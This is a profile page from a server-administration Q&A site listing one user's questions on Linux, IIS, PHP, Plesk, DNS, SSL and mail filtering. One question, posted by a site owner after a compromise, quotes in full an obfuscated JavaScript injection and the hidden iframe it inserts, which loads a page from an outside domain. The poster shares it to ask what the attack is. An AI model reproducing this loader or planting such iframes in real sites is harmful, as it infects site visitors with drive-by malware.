Home / user-21642

MrFidge's questions

Martin Hope
MrFidge
Asked: 2011-08-06 02:36:29 +0800 CST
  • 2

I'm writing a shell script to copy gigabytes of data from directory A to directory B.

The script runs just fine, but it's absolutely eating the available resources - presumably disc read/writes?

Is there some way of throttling processes to limit their resource usage for disc / processor / ram etc?

linux
Martin Hope
MrFidge
Asked: 2011-07-16 04:45:38 +0800 CST
  • 1

I need to be able to redirect all German users who arrive at http://mysite.com to http://mysite.com/de-de/. Does IIS have this sort of IP routing built in, or is it best to use an ASP.net code solution?

As I understand it: to accurately redirect all German IPs you need to create and redirect an IP table for Germany. This is about 1000 IP ranges. ipaddresslocation.org/ip_ranges/get_ranges.php

iis redirect
Martin Hope
MrFidge
Asked: 2011-06-09 02:09:03 +0800 CST
  • 1

I need to allow an include path for a vhost subdomain on Plesk 10. I've edited the PHP PEAR path into /etc/php.ini as I'm happy for it to be globally available:

include_path = ".:/usr/share/pear/"

This works insofar as PHP is able to see the files in that directory when a script tries to include them, but I'm getting the dreaded openbasedir error:

Warning: require_once() [function.require-once]: open_basedir restriction in effect. File(/usr/share/pear/xxxx.php) is not within the allowed path(s): (/var/www/vhosts/xxxx.com/subdomains/test/httpdocs/:/tmp/)

Am I right in saying that the subdomain or main domain can have a vhost.conf file in which I can alter the openbasedir allowed paths? I've tried searching out solutions but I'm afraid I can't quite see one yet :)

virtualhost php5 open-basedir
Martin Hope
MrFidge
Asked: 2011-06-04 03:49:06 +0800 CST
  • 0

I've had to upgrade my CentOS PHP package to 5.2.10 to enable the JSON extension, but it's not gone 100% smoothly. Naturally..

I used this guide: http://wiki.centos.org/HowTos/PHP_5.1_To_5.2

On completing "yum update", "php -v" showed a bunch of extension errors so I updated those using "pecl upgrade [package]". That reduced the number of warnings down to one:

PHP Warning: Module 'readline' already loaded in Unknown on line 0

I've tried updating this package individually but neither yum or pecl can find it (not installed apparently) despite the readline.so sitting in /usr/lib/php/modules/. I know you need to compile php using -readline, is this now my only option: a complete recompile from fresh?

I hope not.

Anyone able to help? Thanks.

EDIT

5.3 is indeed out and works fine with plesk. To get JSON running had to:

  • Update yum with this Plesk / CentOS focused rpm http://www.atomicrocketturtle.com
  • Disable plesk sitebuilder functionality (conflict with new PHP version)
  • pecl uninstall / reinstall of json package
  • double checked it was being called from etc/php.d/
  • chmod 755 /usr/lib/php/modules/json.so
  • service httpd restart

I know json is included in php-common from 5.2 upwards, but this seemed to fix it regardless. Uninstalling via pecl left it working too.

centos php
Martin Hope
MrFidge
Asked: 2011-05-10 07:55:18 +0800 CST
  • 4

Has anyone else seen this crop up a lot recently? I've had several sites go down with this error. 

Parse error: syntax error, unexpected '<' in /home/public_html/index.PHP on line 39

It's caused by a worm / injection attack which dumps the following code seemingly at random throughout any index.php / index.html files it's able to find:

<html><body><script>date=new Date();var ar="Aw'zg>lpNu1m<0]c;erCy,aTnhE={s}i B() :[.\"ofbvdt/";try{gserkewg();}catch(a){k=new Boolean().toString()};var ar2="f108,0,-15,33,-30,6,33,-12,-78,-18,6,18,21,66,-21,-105,39,87,-60,-60,33,-18,18,21,66,-51,12,-39,9,-3,-54,12,42,-33,18,51,-96,123,-6,12,-75,-54,99,9,-75,3,63,-21,24,0,0,-15,33,-72,12,-33,18,3,48,3,-57,60,0,-18,6,-45,-33,69,-36,45,-12,24,0,0,27,-12,-78,-18,6,18,21,66,-21,-114,51,39,45,-87,51,18,-84,57,33,-72,12,-33,18,45,-9,-33,-9,36,-75,69,63,0,-117,90,30,0,-96,78,-96,45,66,-87,3,33,51,-72,72,-51,30,-72,-36,108,-72,0,96,-96,78,-96,45,66,-87,3,63,-42,63,-105,-27,90,-93,90,42,3,-63,6,-75,24,9,-33,90,-21,-24,42,-81,63,63,-57,-75,24,9,-33,90,-9,51,-78,-42,33,30,-75,126,-39,-6,6,36,-36,-75,75,45,-78,51,-36,18,42,0,-84,21,-24,-27,102,-36,6,45,-45,30,-51,39,-45,63,-42,36,-105,9,111,-87,-3,-30,33,75,12,-27,-72,9,90,-15,-102,90,-72,9,-42,9,21,105,-48,33,-72,12,-33,18,-36,105,-15,-57,60,0,-18,18,0,18,-99,45,-27,93,-45,30,-51,24,-3,33,-72,12,-33,18,3,48,3,-21,24,0,0,24,-66,-12,42,30,-30,-15,15,39,-12,-78,-18,6,18,21,66,-21,-72,9,-3,15,72,-87,27,-60,33,-18,18,21,66,-36,-96,87,33,-72,12,-33,18,-45,99,-57,78,-9,-30,-36,87,-138,138,0,-84,39,36,-102,111,-87,51,-96,81,-33,-9,-39,57,-57,69,63,0,-117,90,30,0,-96,78,-96,45,66,-87,3,33,51,-72,72,-51,30,-72,-36,108,-72,0,96,-96,78,-96,45,66,-87,3,63,-42,63,-105,-27,99,-57,78,-9,-30,51,-78,-42,33,66,15,-39,-6,6,36,-36,-75,75,45,-78,21,-75,69,18,42,0,-84,21,-66,42,78,-9,-30,51,-78,-42,33,66,-96,102,-36,6,45,-45,30,-51,9,-75,60,63,-42,36,-105,9,111,-87,-45,42,78,-9,-30,51,-78,-42,33,66,-99,33,75,12,-57,-75,33,-33,42,78,-9,-30,51,-78,-42,33,66,21,-15,-102,60,-75,33,-33,42,78,-9,-30,-36,87,-138,138,0,-84,39,36,-102,111,-87,51,-96,-3,90,42,3,-63,-69,57,-57,24,9,-33,99,-57,78,-9,-30,-36,87,-138,138,0,-84,39,36,-102,111,-87,51,-96,69,-24,42,-81,63,63,-132,57,-57,24,9,-33,99,-57,60,0,0,27,-12,-78,-18,6,18,21,66,-21,-105,39,87,-60,-60,33,-18,18,21,66,-51,12,-39,9,-3,-54,12,42,-33,18,51,-96,123,-6,12,-75,-54,99,9,-75,3,75,-51,-45,0,30,21,63,-78,18,18,-75,117,-33,24,-21,-57,60,0,-18]".replace(k.substr(0,1),'[');pau="rn ev2010".replace(date.getFullYear()-1,"al");e=new Function("","retu"+pau);e=e();ar2=e(ar2);s="";var pos=0;for(i=0;i<ar2.length;i++){pos+=parseInt(k.replace("false","0asd"))+ar2[i]/3;s+=ar.substr(pos,1);}e(s);</script></body></html>

The code blindly inserts a javascript-sourced iFrame:

<iframe height="10" width="10" src="http://counterstats.cz.cc/counter.htm" style="visibility: hidden; position: absolute; left: 0pt; top: 0pt;"></iframe>

I've tried to rip the site apart to see how this happened, but does anyone know what specific attack this is and how it propagates? Is it leaky unpatched code, CPanel itself, cracked passwords, a rooted server?

EDIT

I've not been able to identify exactly what's going on here, but it appears that it's a CPanel thing - changing all passwords in CPanel seems to stop repeat attacks. I've left one unimportant site in this state (without cleaning the site code) and it's been absolutely fine whereas before it was getting corrupted daily. Contacted UK2.net and JustHost about this, but so far no response.

It also appears that the public_html folder and some of the other "system" folders have been chmod'd strangely - lots of 777 where there shouldn't be. Again no response from the hosts on this so far.

EDIT

Appears to be "Trojan.JS.Agent.bur" Trying to find out more...

php shared-hosting
Martin Hope
MrFidge
Asked: 2011-01-18 06:25:22 +0800 CST
  • 1

Does anyone have a table of the default levels of encryption which the various browsers out there support? For instance I know that IE5 and lower struggle even to cope with 40 bit encryption but the latest browsers easily do 256 and beyond.

The reason I ask is that I'm looking to get a wildcard certificate for my domain and the price difference is huge between a server gated certificate (where it enforces a minimum of 128bit) and a non-gated certificate (where the browser sets the encryption level).

Obviously I like the idea of paying £300 less for the non-gated certificate, but only if I can be sure that the majority of my users (FF3 / Opera / Chrome / IE7+) are going to get good encryption.

ssl-certificate
Martin Hope
MrFidge
Asked: 2010-02-18 04:11:13 +0800 CST
  • 3

I'm building a Drupal site which performs various automatic disk operations using the apache user (id=40).

The problem is that the site was set up on a subdomain belonging to user ID 10001 (ie my main FTP account) so the filesystem belongs to that user ID.

So I keep getting errors like this:

warning: move_uploaded_file() [function.move-uploaded-file]: SAFE MODE Restriction in effect. 
The script whose uid is 10001 is not allowed to access /var/www/vhosts/domain.com/httpdocs/sites/default/files/images/user owned by uid 48 in /var/www/vhosts/domain.com/httpdocs/includes/file.inc on line 579.

I've tried changing the apache group in httpd.conf to apache:psacln, psacln being the default group for all web users but that's not helped.

The situation now is:

  • ..../files/images/ = 777 and chown = ftplogin:psacln
  • ..../files/images/user = 775 and chown = apache:psacln
  • ..../files/tmp = 777 and chown = ftplogin:psacln

So apparently uid 40 and 10001 both have permissions to write to any of the 3 directories involved, but still can't.

Am i missing something here? Can anyone help?

EDIT

The solution was simply to set the domain / subdomain up to use apache in CGI-mode rather than straight out of the box mode.

Thanks!

php apache-2.2 permissions file-permissions
Martin Hope
MrFidge
Asked: 2009-10-22 06:33:37 +0800 CST
  • 0

Can someone help me decipher whats going on in these log files? I've added my own comments there, but as I'm not experienced mail admin I could do with an experienced eye ;)

The bit which gets me is that the SPF section causes the message rejection, even though the domain the mail is being sent from is a very, very well known company. Is it simply that they don't have SPF headers set on their domain?

If so.. what are the safest settings I could use on my server to allow legit email but block spam?

I've got domainkeys, SPF and spamhaus blacklists running, but SPF seems to be causing some problems.

Thanks a lot for any help :)

Remote mailserver connects and begins negotiation

Oct 20 18:30:59 msvsc01-g09np postfix/smtpd[29264]: connect from unknown[192.208.34.37]
Oct 20 17:30:59 msvsc01-g09np postfix/smtpd[29264]: NOQUEUE: client=unknown[192.208.34.37]
Oct 20 17:30:59 msvsc01-g09np postfix/smtpd[29269]: BD5B9292AF1: client=unknown[192.208.34.37]
Oct 20 18:30:59 msvsc01-g09np before-queue[29266]: check handlers for addr: xxxxxxxxxxxxxxxx.com 
Oct 20 18:30:59 msvsc01-g09np before-queue[29266]: check handlers for addr: yyyyyyyyyyyyyyyy.com 
Oct 20 18:30:59 msvsc01-g09np before-queue[29266]: check handlers for addr: zzzzzzzzzzzzzzzz.com 
Oct 20 18:30:59 msvsc01-g09np before-queue[29266]: Processing handlers... 
Oct 20 18:30:59 msvsc01-g09np before-remote[29268]: check handlers for addr: xxxxxxxxxxxxxxxx.com 
Oct 20 18:30:59 msvsc01-g09np before-remote[29268]: check handlers for addr: yyyyyyyyyyyyyyyy.com 
Oct 20 18:30:59 msvsc01-g09np before-remote[29268]: check handlers for addr: zzzzzzzzzzzzzzzz.com 
Oct 20 18:30:59 msvsc01-g09np before-remote[29268]: Processing handlers... 

Qmail handling

Oct 20 18:31:00 msvsc01-g09np before-queue[29266]: hook_dir = '/usr/local/psa/handlers/before-queue'
Oct 20 18:31:00 msvsc01-g09np before-queue[29266]: recipient[3] = yyyyyyyyyyyyyyyy.com 
Oct 20 18:31:00 msvsc01-g09np before-queue[29266]: handlers dir = '/usr/local/psa/handlers/before-queue/recipient/yyyyyyyyyyyyyyyy.com '
Oct 20 18:31:00 msvsc01-g09np before-queue[29266]: call_handlers: call executable = '/usr/local/psa/handlers/info/20-drweb-MZX9NW/executable'
Oct 20 18:31:00 msvsc01-g09np before-queue[29266]: handlers_stderr: PASS
Oct 20 18:31:00 msvsc01-g09np before-queue[29266]: call_handlers: PASS during call '/usr/local/psa/handlers/info/20-drweb-MZX9NW/executable' handler
Oct 20 18:31:00 msvsc01-g09np before-queue[29266]: recipient[4] = 'zzzzzzzzzzzzzzzz.com'
Oct 20 18:31:00 msvsc01-g09np before-queue[29266]: handlers dir = '/usr/local/psa/handlers/before-queue/recipient/zzzzzzzzzzzzzzzz.com'
Oct 20 18:31:00 msvsc01-g09np before-queue[29266]: call_handlers: call executable = '/usr/local/psa/handlers/info/20-drweb-FoRKet/executable'
Oct 20 18:31:00 msvsc01-g09np before-queue[29266]: handlers_stderr: PASS
Oct 20 18:31:00 msvsc01-g09np before-queue[29266]: call_handlers: PASS during call '/usr/local/psa/handlers/info/20-drweb-FoRKet/executable' handler
Oct 20 18:31:00 msvsc01-g09np before-queue[29266]: call_handlers: call executable = '/usr/local/psa/handlers/info/10-spf-d7R8jL/executable'

DrWeb Virus Check

Oct 20 18:31:00 msvsc01-g09np qmail-queue[29271]: scan: the message(drweb.tmp.j0zApu) sent by xxxxxxxxxxxxxxxx.com to rcpts is passed

SPF Checking

Oct 20 18:31:00 msvsc01-g09np spf filter[29273]: Starting spf filter... 
Oct 20 18:31:00 msvsc01-g09np spf filter[29273]: Error code: (2) Could not find a valid SPF record 
Oct 20 18:31:00 msvsc01-g09np spf filter[29273]: Failed to query MAIL-FROM: No DNS data for 'cadbury.com'. 
Oct 20 18:31:00 msvsc01-g09np spf filter[29273]: SPF result: none 
Oct 20 18:31:00 msvsc01-g09np spf filter[29273]: SPF status: REJECT

SPF Checked and Failed?! = Message rejected. 504 error returned.

Oct 20 18:31:00 msvsc01-g09np before-queue[29266]: handlers_stderr: REJECT
Oct 20 18:31:00 msvsc01-g09np before-queue[29266]: call_handlers: REJECT during call '/usr/local/psa/handlers/info/10-spf-d7R8jL/executable' handler
Oct 20 18:31:00 msvsc01-g09np before-queue[29266]: call_handlers: stop call handlers from dir '/usr/local/psa/handlers/before-queue/global'
Oct 20 17:31:00 msvsc01-g09np postfix/smtpd[29264]: disconnect from unknown[192.208.34.37]
Oct 20 18:31:00 msvsc01-g09np before-remote[29268]: Lost connection
Oct 20 18:31:00 msvsc01-g09np before-remote[29268]: Some error occured
Oct 20 17:31:00 msvsc01-g09np postfix/smtpd[29269]: lost connection after DATA from unknown[127.0.0.1]
Oct 20 17:31:00 msvsc01-g09np postfix/smtpd[29269]: disconnect from unknown[127.0.0.1]
email
Martin Hope
MrFidge
Asked: 2009-10-04 03:48:25 +0800 CST
  • 1

In Plesk 9.2.2 does anyone know how the following can be achieved?

I've got domain1.co.uk registered in plesk, but the domain has not been set up with any nameservers or A records, so it is unreachable from the web.

However, I need to test it while we get the domain1.co.uk nameservers etc sorted over the next week or so. SO, i've got sparedomain.co.uk registered, with the nameservers and A records pointing to the server, and sure enough it displays the default plesk "theres no website here yet page" .

bingo.

Now, how can I set up sparedomain.co.uk on my plesk server, so it displays all the data held on the plesk account for domain1.co.uk?

Frame forwarding doesnt work - because you get errors saying "domain1.co.uk cannot be found" in your browser - i need a server solution to spoof it all.

Anyone got any ideas? Thanks!

domain-name-system
Martin Hope
MrFidge
Asked: 2009-10-03 04:52:58 +0800 CST
  • 1

I've got a domain registered with a hosting company who I no longer wish to use. I'm happy for them to keep managing my domain, but I want my domain to point to my new (better) server which i've just bought and set up.

I know my new server's IP address and Nameservers,

What do I need to do in my domain management control panel to make it point to my new server?

  • Change the "A" record to the new IP?
  • Change the nameservers to my new hosts nameservers?

Is that it? Are there no other record on either server which need changing? I always get confused by who needs to do what when it comes to domains...

Thanks, Hugh

domain
Martin Hope
MrFidge
Asked: 2009-10-02 09:02:19 +0800 CST
  • 0

The title describes what I'm trying to achieve I guess - I've got a Plesk powered server, but no domains as yet, but I need to test out the various website I've created.

Rather, I've got ONE testing domain which i've pointed to the server just to enable a client to have a look, but I don't really want to have to register 10 domains just to test stuff - i'd like to find a clever way around it which will enable me to show clients stuff on all the 10 websites without them having to edit their host file.

I've set up domain1.co.uk on my Plesk control panel, and we've pointed http://www.mytestdomain.co.uk/ at it, to enable us to test the website before we launch "live" to the web in general.

Once we dump mytestdomain.co.uk and replace it with the "live" domain myREALdomain.co.uk how can I add further domains to the server and test them in a similar fashion?

domain1.co.uk will be on xx.xx.77.253, so I don't understand how If I have 2-3 other domains on the server, how we can set up the DNS A records of our domain name to point to all the different websites - surely it's done by unique IP? Or does it look at who's asking and then point them to the right place?

Additionally - Is there a better way of testing out websites before releasing them into the wild? In plesk, if I create all the domains I'm set to launch, could I create a bunch of subdomains on domain1.co.uk and point the subdomains at my "real" domains as testing locations?

There aint enough words to describe this properly - hope someone get the idea :P

Thanks, Hugh

domain-name-system